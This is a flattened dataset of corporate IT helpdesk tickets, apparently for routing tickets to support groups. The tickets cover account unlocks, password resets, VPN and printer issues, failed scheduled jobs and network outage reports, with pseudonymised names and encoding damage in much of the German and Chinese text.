mit freundlichen grÃ¼ssen / best , is assigned to Assignment group: GRP\_16.Ticket with Short description: mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 19.11 s , Description: mii uacyltoe hxgaycze from lacw8515941 : duration is high for loading as 39.69 s and refresh loaded 19.11 s , is assigned to Assignment group: GRP\_8.Ticket with Short description: erp mii is not functioning., Description: erp mii is not functioning in raonoke rapids. employees are unable to use the software to clock out. software is locked.
phone: , is assigned to Assignment group: GRP\_41.Ticket with Short description: bnsh0901 account unlock in erp SID\_34, Description: bnsh0901 account unlock in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account lockout, Description: windows account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: business\_client not responding, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
helloâ€¦\_x000D\_
\_x000D\_
refer the below screen shotâ€¦.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d20ea1.751c5400]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/14/2016 06:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/14/2016 06:09:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: printer problem / issue information i am trying to print to tc78 on hqntn06. drivers need updated., Description: please complete all required questions below. \_x000D\_
if not, it will be returned back to the gsc / requester to provide required information\_x000D\_
\_x000D\_
â€¢ gsc to review ticket, if not able to resolve then please assign to appropriate group per your printer problem assignment flowchart.\_x000D\_
\_x000D\_
â€¢ printer name / make - model? (ex hq50 â€“ wy98 - hp 8150) tc78 on hqntn06\_x000D\_
\_x000D\_
â€¢ detailed description of the problem ? drivers need updated, but will not load.\_x000D\_
\_x000D\_
â€¢ type of documents not printing? (email â€“ excel â€“ wordâ€¦etc) all\_x000D\_
(inwarehouse\_tool â€“ delivery note â€“ production orderâ€¦etc)\_x000D\_
\_x000D\_
â€¢ what system or application being used at time of the problem? (ex windows / erp /kls) windows\_x000D\_
\_x000D\_
â€¢ if not printing at all, does it respond to a ping command on the network and has a power cycle of the printer been completed? no\_x000D\_
\_x000D\_
â€¢ if erp system, which system? (ex SID\_34 / SID\_38 / hrp / plm)\_x000D\_
\_x000D\_
â€¢ if it's an erp printer problem can the erp output be rerouted to another erp printer temporarily?\_x000D\_
what printer can it be rerouted too? \_x000D\_
\_x000D\_
â€¢ if document is not printing correctly, please scan copy of the document and attach to the ticketing\_tool ticket., is assigned to Assignment group: GRP\_0.Ticket with Short description: vpn issue, Description: \_x000D\_
\_x000D\_
received from: cobsfvjz.apkqmrdu@gmail.com\_x000D\_
\_x000D\_
dear sir/madam\_x000D\_
\_x000D\_
i am not able to connect to vpn .\_x000D\_
\_x000D\_
please address .\_x000D\_
\_x000D\_
also install the new apvpn as well .\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ng\_ff90 account unlock in erp SID\_34, Description: ng\_ff90 account unlock in erp SID\_34, is assigned to Assignment group: GRP\_0.Ticket with Short description: barcodescanner an eemw8144133 defekt - bitte austauschen, Description: barcodescanner an eemw8144133 defekt - bitte austauschen. pc befindet sich im anlagenbereich cvd, is assigned to Assignment group: GRP\_42.Ticket with Short description: unable to print. need a driver update., Description: unable to print. need a driver update., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print. driver not updating., Description: unable to print. driver not updating., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_593 failed in job\_scheduler at: 09/14/2016 04:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_593 failed in job\_scheduler at: 09/14/2016 04:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: install vlc, Description: \_x000D\_
\_x000D\_
received from: kxmidsga.zokivdfa@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
please install vlc player in my system. i am not able to play some products demonstrations in wmp.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 09/14/2016 04:52:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_sql\_prod\_inc failed in job\_scheduler at: 09/14/2016 04:52:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: service kit 8150 fÃ¼r we01 liefern \hcuixqgj mavxgqbs, Description: service kit 8150 fÃ¼r we01 liefern \hcuixqgj mavxgqbs, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit office365 \dtlmbcrx mwuateyx, Description: probleme mit office365 \dtlmbcrx mwuateyx, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit chargenverwaltung \tmqfjard qzhgdoua, Description: probleme mit chargenverwaltung \tmqfjard qzhgdoua, is assigned to Assignment group: GRP\_24.Ticket with Short description: probleme mit chargenverwaltung \howfanzi siavgtby, Description: probleme mit chargenverwaltung \howfanzi siavgtby, is assigned to Assignment group: GRP\_24.Ticket with Short description: setup new ws \uadkqcsj xtmjlari, Description: setup new ws \uadkqcsj xtmjlari, is assigned to Assignment group: GRP\_24.Ticket with Short description: need assistance to transfer elengineering toolonic amb show ticket onto my company iphone, Description: need assistance to transfer elengineering toolonic amb show ticket onto my company iphone, is assigned to Assignment group: GRP\_28.Ticket with Short description: job Job\_499 failed in job\_scheduler at: 09/14/2016 04:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_499 failed in job\_scheduler at: 09/14/2016 04:37:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: excel issue, Description: \_x000D\_
\_x000D\_
received from: anuxbyzg.bvsqcjkw@gmail.com\_x000D\_
\_x000D\_
not able to open an excel file with the following error message:\_x000D\_
\_x000D\_
[cid:image003.jpg@01d20e72.fd691a70]\_x000D\_
\_x000D\_
route of the file: [cid:image004.png@01d20e72.fd691a70]\_x000D\_
\_x000D\_
gruÃŸ , is assigned to Assignment group: GRP\_16.Ticket with Short description: freischaltung des ordners "ce ap daten" im laufwerk departmenst \\HostName\_579 (m:), Description: bitte fÃ¼r oben genannten ordner schreib- und leserecht freischalten. der ordner wird zur tÃ¤glichen arbeit benÃ¶tigt, is assigned to Assignment group: GRP\_34.Ticket with Short description: efdl8111218 - outlook issue, Description: \_x000D\_
\_x000D\_
received from: wcnfvajb.kxylsamv@gmail.com\_x000D\_
\_x000D\_
good morning,\_x000D\_
\_x000D\_
\_x000D\_
after password change my outlook is not opening any more.\_x000D\_
\_x000D\_
can you please help me?\_x000D\_
\_x000D\_
\_x000D\_
mit freundlichen grÃ¼ÃŸen / kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_481 failed in job\_scheduler at: 09/14/2016 03:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_481 failed in job\_scheduler at: 09/14/2016 03:39:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: restore deleted opportunities, Description: hello shikghtyuha,
per my email it seems that user ukwfgxrl rieqbtnp has deleted some of the opportunities of another user rqfmcjak gcxvtbrz. i do not have details on those oportunities as they are not visible anymore, all i can say is that they have been deleted in the period of 1-14 september. most likely their opportstorage\_product name start with "ae seibel".
could you please verify if there is any chance to restore them.
, is assigned to Assignment group: GRP\_40.Ticket with Short description: please reactivate the id - tempuser in SID\_34 - erp production, Description: pls reset the password for tempuser for erp SID\_34.(erp prodn), is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_501 failed in job\_scheduler at: 09/14/2016 03:25:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_501 failed in job\_scheduler at: 09/14/2016 03:25:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: frequent wifi diconnection in the new bay at basis area..., Description: team,\_x000D\_
\_x000D\_
please check we are having frequent disconnection to the wifi, all our connections to erp, skype are disconnecting.., is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_483 failed in job\_scheduler at: 09/14/2016 02:48:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_483 failed in job\_scheduler at: 09/14/2016 02:48:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: pc eemw8144218 und drucker im abstechprogramdntym aufstellen, Description: pc eemw8144218 und drucker im abstechprogramdntym aufstellen, is assigned to Assignment group: GRP\_42.Ticket with Short description: please reset my SID\_34 erp password., Description: \_x000D\_
\_x000D\_
received from: ipqgrnxk.acxedqjm@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
please reset my SID\_34 erp password.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 09/14/2016 01:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 09/14/2016 01:54:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: erpï½11 locked , Description:
received from: zuxcfonv.nyhpkrbe@gmail.com
gso,
please unlock the erp SID\_34 account for id tjtigtyps soon ,don't reset password , , is assigned to Assignment group: GRP\_0.Ticket with Short description: zollerfgh machine image restoration, Description: \_x000D\_
\_x000D\_
received from: vkzwibco.pueyvhoi@gmail.com\_x000D\_
\_x000D\_
hello!\_x000D\_
\_x000D\_
the image of a machine pc (zollerfgh genius 3s) needs to be restored to the pc from the pen drive. please help with this issue on an urgent basis.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: drucker em93 (bei frau zeilmann) defekt: das papier wird wÃ¤hrend des druck-/kopiervorganges geknittert., Description: drucker em93 (bei frau zeilmann) defekt: das papier wird wÃ¤hrend des druck-/kopiervorganges geknittert., is assigned to Assignment group: GRP\_42.Ticket with Short description: hardware damage, Description: \_x000D\_
\_x000D\_
received from: skmdgnuh.utgclesd@gmail.com\_x000D\_
\_x000D\_
sir,\_x000D\_
\_x000D\_
i am facixepyfbga wtqdyoin ware issues in my laptop, my monitor plastic portion has come out of the groove and left control key is not working, kindly take necessary action.\_x000D\_
\_x000D\_
below is details of laptop.\_x000D\_
\_x000D\_
[cid:image001.png@01d20e77.584241c0]\_x000D\_
\_x000D\_
with warm , is assigned to Assignment group: GRP\_19.Ticket with Short description: erp logon password, Description:
received from: ryculmsd.wofgvkrb@gmail.com
hi,
please send me a new password for my erp.
lost mine â€“ sorry!!
janhytrn ooshstyizen
sales manager - construction sa
ryculmsd.wofgvkrb@gmail.com<mailto:ryculmsd.wofgvkrb@gmail.com>
new road king bit catalog:
, is assigned to Assignment group: GRP\_0.Ticket with Short description: prdord226024765 226024766 226024794 can not release please help me to fix it., Description: the business transaction cannot be carried out., is assigned to Assignment group: GRP\_45.Ticket with Short description: enterprise scan client (open text) for erp needs to be installed on, Description: computer eagw000312t\_x000D\_
connected scanner is fujitsu fi 6130\_x000D\_
scanner driver needs also to be installed.\_x000D\_
computer and scanner is online and nobody is working on it until scan client is installed. so you can take everytime controll over the computer.\_x000D\_
open text viewer is already installed. \_x000D\_
if you need on site support please let me know\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 09/14/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 09/14/2016 01:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: vpn ä¸èƒ½è¿žæŽ¥ï¼Œæç¤ºæ— æ³•æ‰¾æ‰“é˜²ç—…æ¯’è½¯ä»¶ã€‚, Description: vpn ä¸èƒ½è¿žæŽ¥ï¼Œæç¤ºæ— æ³•æ‰¾æ‰“é˜²ç—…æ¯’è½¯ä»¶ã€‚ symantec è½¯ä»¶æœåŠ¡ä¸èƒ½å¯åŠ¨ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: monthly quality working group (qwg) - global round tools - input needed!, Description: hello help team, \_x000D\_
\_x000D\_
pls see ralf's email below. \_x000D\_
last month we had some write access issues. \_x000D\_
is it possible that all participants of the round tool group can work on this collaboration\_platform file even if the file name will change.\_x000D\_
i need to update this file each month and save it under the respective month.\_x000D\_
if not, do you have any idea how we can handle that? \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: need support, Description: \_x000D\_
\_x000D\_
received from: ehfvwltg.eakjbtoi@gmail.com\_x000D\_
\_x000D\_
helloï¼Œ\_x000D\_
\_x000D\_
material noï¼š 7309039 ï¼Œ can not use in purchasing , please replicate\_x000D\_
.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_29.Ticket with Short description: bw server error message, Description: hello team,
one of company user, uxndyfrs vahxnfgl, sometimes go error message below.
i think this is erp server connection issue.
do you have any solution for this?
error shows "an error happened during accessing bw server. connection was stopped because of this error"
âˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆž
xmgptwho fmcxikqz k.k.
æµ…é‡Ž å¥ / takeshi asano
âˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆžâˆž
, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp access issue, Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?):SID\_52 , SID\_53
enter user id of user having the issue:mathyida
transaction code(s) the user needs or was working with: unable to logon (locked)
describe the issue: please unlock the account and reset the password for both the systems.
, is assigned to Assignment group: GRP\_2.Ticket with Short description: i am unable to update profile details., Description: i am unable to update profile details/ its given (unable to update user shighjvnn - not found!) error. please assist me., is assigned to Assignment group: GRP\_25.Ticket with Short description: virus in my laptop, Description: \_x000D\_
\_x000D\_
received from: gqwdslpc.clhgpqnb@gmail.com\_x000D\_
\_x000D\_
my system is virus effected, please remove permanently.\_x000D\_
\_x000D\_
please find below screen shot.\_x000D\_
\_x000D\_
[cid:image003.jpg@01d20e64.349b30f0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_50.Ticket with Short description: account is getting locked from HostName\_895, Description: account is getting locked from HostName\_895, is assigned to Assignment group: GRP\_2.Ticket with Short description: vpn è¿žæŽ¥åŽè‡ªåŠ¨æ–­å¼€ã€‚, Description: vpn è¿žæŽ¥åŽè‡ªåŠ¨æ–­å¼€ï¼Œæç¤ºè°ƒåˆ¶è§£è°ƒå™¨æ²¡æœ‰æ‰¾åˆ°, is assigned to Assignment group: GRP\_31.Ticket with Short description: i am having problems logging into the na vpn. , Description: i am having problems logging into the na vpn. i am receiving an error message saying that my username or password is incorrect even though i know it is correct., is assigned to Assignment group: GRP\_0.Ticket with Short description: companyguest wifi login pw & user name, Description: \_x000D\_
\_x000D\_
received from: yhmzxcia.heszapvl@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
please help to create a permanent companyguest wifi login pw and user name for our office.\_x000D\_
we need this password and user name so that as and when we have guest coming for training or meeting to be able to login.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_4.Ticket with Short description: delivery 9169288744 displaying no intercompany billing error message but the intercompany does exist., Description: unable to process order through k.i.s shipping system due to the system not registering the existing intercompany billing., is assigned to Assignment group: GRP\_18.Ticket with Short description: cannot log into vpn, Description: name:cagrty
language:
browser:microsoft internet explorer
email:iehdjwvt.rndtlyhv@gmail.com
customer number:
telephone:
summary:cannot log into vpn, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp account unlocked, Description: erp account unlocked, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_48hotf failed in job\_scheduler at: 09/13/2016 19:54:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_48hotf failed in job\_scheduler at: 09/13/2016 19:54:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 09/13/2016 19:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 09/13/2016 19:53:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: job SID\_37hoti failed in job\_scheduler at: 09/13/2016 19:53:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_37hoti failed in job\_scheduler at: 09/13/2016 19:53:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: timecards are not generating automatically, Description: timecards are not generating automatically, is assigned to Assignment group: GRP\_36.Ticket with Short description: circuit outage: germany, germany-(company) primary mpls circuit is down since 6:24pm et on 09/13, site up on secondary, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_6:24pm et on 09/13\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage at israel, israel ( sales facility) since 8:30am et 09/13., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_8:30am et 09/13\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_yes\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: circuit outage: paris - () company primary mpls circuit is down since 6:24pm et on 09/13/16, site up on secondary, Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_yes\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_\_6:24pm et on 09/13/16\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_#332879751 global\_telecom\_1\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: network outage: Israel, israel - (company) network is down since 6:24pm et on 09/13/16, Description: what type of outage: \_\_\_x\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_no\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_6:24pm et on 09/13/16\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_#332878989 global\_telecom\_1 ticket\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: åˆ¶ç²‰ä¸‰æ¥¼æŽ§åˆ¶å®¤ç”µè„‘æ•…éšœ, Description: åˆ¶ç²‰ä¸‰æ¥¼æŽ§åˆ¶å®¤ç”µè„‘ä¸èƒ½å¼€å¯ï¼Œç”µæºæŒ‡ç¤ºç¯æ¡”è‰²é¢‘é—ªã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: é“¸é€ è½¦é—´ç”µè„‘æ•…éšœ, Description: é“¸é€ è½¦é—´è®°å½•ç”Ÿäº§æ•°æ®çš„ç”µè„‘ä¸èƒ½å¼€æœº, is assigned to Assignment group: GRP\_48.Ticket with Short description: ç”¨å‹å®šæœŸå¤‡ä»½ä¸æˆåŠŸ, Description: æœåŠ¡å™¨ç«¯ç”¨å‹ç³»ç»Ÿæœ€è¿‘åŠä¸ªæœˆæ—¥å¤‡ä»½å¤±è´¥, is assigned to Assignment group: GRP\_48.Ticket with Short description: circuit outage: germany, steel plant - (company) mpls circuit is down since 6:24pm et on 09/13/16, site up on secondary, Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_\_\_6:24pm et on 09/13/16\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_no\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: request to reset microsoft online services password for rcfwnpbi.kvhedyrc@gmail.com, Description: \_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_0.Ticket with Short description: inqury-does email work on phone without internet connection, Description: inqury-does email work on phone without internet connection, is assigned to Assignment group: GRP\_0.Ticket with Short description: wallpaper is beshryu, need to change to windows theme, Description: wallpaper is beshryu, need to change to windows theme, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to communicate to savin c2525 printer, Description: unable to communicate to savin c2525 printer, is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_1010(erp search\_server server): erpstartsrv.exe service is down since 4:25pm et on 09/13/16, Description: HostName\_1010(erp search\_server server): erpstartsrv.exe service is down since 4:25pm et on 09/13/16, is assigned to Assignment group: GRP\_14.Ticket with Short description: ms excel right click not working., Description: ms excel right click not working.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-repaired the ms office.\_x000D\_
reopned the excel.its working fine now.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: uacyltoe hxgayczeing is available but i can't get into SID\_1, Description: uacyltoe hxgayczeing is available but i can't get into SID\_1, is assigned to Assignment group: GRP\_0.Ticket with Short description: update on inplant\_858893, Description: update on inplant\_858893, is assigned to Assignment group: GRP\_0.Ticket with Short description: mobile device activation , Description: mobile device activation , is assigned to Assignment group: GRP\_0.Ticket with Short description: pos report does not pull the search results., Description: pos report does not pull the search results.
--connected to the user system using teamviewer.
-when the user tries to run a pos report as seen in the scren shot , it gives the user error.
-see attachment-
contact:
